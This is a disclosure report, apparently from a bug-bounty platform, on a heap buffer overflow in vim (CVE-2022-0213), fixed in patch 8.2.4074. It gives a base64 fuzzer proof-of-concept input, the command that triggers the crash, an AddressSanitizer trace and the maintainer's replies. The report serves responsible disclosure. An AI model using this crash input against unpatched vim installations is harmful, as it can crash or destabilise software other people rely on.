Heap-based Buffer Overflow in vim/vim

Valid Reported on Jan 12th 2022

0

Description

A Heap-based Buffer Overflow has been found in vim commit `3cf21b3`

Proof of Concept

```
base64 poc
ZggwMDAwMDAwMDAwMDAwMBkwMDAwCmYIMDAwMDAwMCUlJSUlJSUlJSUlMDAwMDD8CmUlJSU
JSUlJSUlJQp2cwp2MP8wbwo=
```

```
~/fuzzing/vim/vim/src/vim  -u NONE -X -Z -e -s -S ./poc -c :qa!
```

ASan stack trace:

```
=================================================================
==1771749==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62100
READ of size 1 at 0x62100000c500 thread T0
    #0 0x430758 in strlen (/home/aidai/fuzzing/vim/vim/src/vim+0x430758)
    #1 0x5dfe7d in win_redr_status /home/aidai/fuzzing/vim/vim/src/drawscre
    #2 0x5e6c60 in redraw_statuslines /home/aidai/fuzzing/vim/vim/src/draws
    #3 0xf70031 in main_loop /home/aidai/fuzzing/vim/vim/src/main.c:1401:6
    #4 0x707866 in do_exedit /home/aidai/fuzzing/vim/vim/src/ex_docmd.c:696
    #5 0x715673 in ex_open /home/aidai/fuzzing/vim/vim/src/ex_docmd.c:6902:
    #6 0x6e9395 in do_one_cmd /home/aidai/fuzzing/vim/vim/src/ex_docmd.c:25
    #7 0x6dc217 in do_cmdline /home/aidai/fuzzing/vim/vim/src/ex_docmd.c:99
    #8 0x6cf415 in global_exe_one /home/aidai/fuzzing/vim/vi
    #9 0x6cf87e in global_exe /home/aidai/fuzzing/vim/vim/s
    #10 0x6cecac in ex_global /home/aidai/fuzzing/vim/vim/src/ex_cmds.c:506
```

```
    #11 0x6e9395 in do_one_cmd /home/aidai/fuzzing/vim/vim/src/ex_docmd.c:2
    #12 0x6dc217 in do_cmdline /home/aidai/fuzzing/vim/vim/src/ex_docmd.c:9
    #13 0xb6bec7 in do_source /home/aidai/fuzzing/vim/vim/src/scriptfile.c:

    #14 0xb6a05f in cmd_source /home/aidai/fuzzing/vim/vim/src/scriptfile.c
    #15 0x6e9395 in do_one_cmd /home/aidai/fuzzing/vim/vim/src/ex_docmd.c:2
    #16 0x6dc217 in do_cmdline /home/aidai/fuzzing/vim/vim/src/ex_docmd.c:9
    #17 0xf6d3b3 in exe_commands /home/aidai/fuzzing/vim/vim/src/main.c:308
    #18 0xf6d3b3 in vim_main2 /home/aidai/fuzzing/vim/vim/src/main.c:774:2
    #19 0xf69bdf in main /home/aidai/fuzzing/vim/vim/src/main.c:426:12
    #20 0x7f8ccafc20b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/
    #21 0x41db2d in _start (/home/aidai/fuzzing/vim/vim/src/vim+0x41db2d)

0x62100000c500 is located 0 bytes to the right of 4096-byte region [0x62100
allocated by thread T0 here:
    #0 0x49626d in malloc (/home/aidai/fuzzing/vim/vim/src/vim+0x49626d)
    #1 0x4c5d75 in lalloc /home/aidai/fuzzing/vim/vim/src/alloc.c:248:11

SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/aidai/fuzzing/vim/vi
Shadow bytes around the buggy address:
  0x0c427fff9850: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c427fff9860: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c427fff9870: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c427fff9880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c427fff9890: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c427fff98a0:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c427fff98b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c427fff98c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c427fff98d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c427fff98e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c427fff98f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
```

```
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7

  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==1771749==ABORTING
```

CVE
CVE-2022-0213
(Published)

Vulnerability Type
CWE-122: Heap-based Buffer Overflow

Severity
Medium (6.8)

Visibility
Public

Status
Fixed

Found by

aidaip
@aidaip
unranked

Fixed by

Bram Moolenaar
@brammool
maintainer

This report was seen 771 times.

We are processing your report and will contact the **vim** team within 24 hours. 10 months ago

We have contacted a member of the **vim** team and are waiting to hear back 10 months ago

Bram Moolenaar 10 months ago Maintainer

I can reproduce it. I'll make a patch with the POC turned into a test.

Bram Moolenaar validated this vulnerability 10 months ago

aidaip has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Bram Moolenaar 10 months ago Maintainer

Fixed in patch 8.2.4074
Made the test a lot simpler.

Bram Moolenaar marked this as fixed in **8.2** with commit **de05bb** 10 months ago

Bram Moolenaar has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

Sign in to join this conversation